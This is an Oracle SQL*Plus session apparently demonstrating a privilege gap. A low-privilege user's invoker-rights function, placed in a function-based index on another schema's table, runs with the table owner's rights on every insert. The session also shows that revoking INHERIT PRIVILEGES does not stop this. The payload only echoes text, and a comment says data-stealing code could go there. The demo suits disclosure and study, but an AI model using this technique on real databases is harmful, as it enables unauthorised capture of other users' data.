SQL> connect scott/tiger
Connected.
SQL> drop user u1 cascade
  2  /
 
User dropped.
 
SQL> create user u1 identified by u1
  2  default tablespace users
  3  quota unlimited on users
  4  /
 
User created.
 
SQL> grant create session,
  2        create any index,
  3        create procedure
  4    to u1
  5  /
 
Grant succeeded.
 
SQL> drop table tbl purge
  2  /
 
Table dropped.
 
SQL> create table tbl(
  2                  txt varchar2(30)
  3                  )
  4  /
 
Table created.
 
SQL> connect u1/u1
Connected.
SQL> create or replace
  2    function echo(
  3                  p_str varchar2
  4                )
  5      return varchar2
  6      authid current_user
  7      deterministic
  8      is
  9      begin
10
11          -- Here user u1 could place code to save
12          -- table scott.tbl data somewhere u1 can
13          -- access it. I'll use dbms_output.put_line
14
15          dbms_output.put_line(p_str);
16          return p_str;
17  end;
18  /
 
Function created.
 
SQL> create index tbl_idx1
  2    on scott.tbl(
  3                echo(txt)
  4                )
  5  /
 
Index created.
 
SQL> connect scott/tiger
Connected.
SQL> set serveroutput on
SQL> insert
  2    into tbl
  3    values(
  4          'you just got hacked'
  5          )
  6  /
you just got hacked
 
1 row created.
 
SQL> -- And this is NOT addressed by 12C where INHERIT PRIVELEGES privilege was introduced:
 
SQL> select  u1.echo('test')
  2    from  dual
  3  /
 
U1.ECHO('TEST')
-----------------
test
 
test
SQL> revoke inherit privileges
  2    on user scott
  3    from public
  4  /
 
Revoke succeeded.
 
SQL> select  u1.echo('test')
  2    from  dual
  3  /
select  u1.echo('test')
        *
ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "U1.ECHO", line 1
 
SQL> -- As you can see we can't run function U1.ECHO as invoker SCOTT,
SQL> -- however FBI with U1.ECHO still leaves that security gap open:
 
SQL> insert
  2    into tbl
  3    values(
  4          'you just got hacked'
  5          )
  6  /
you just got hacked
 
1 row created.
 
SQL>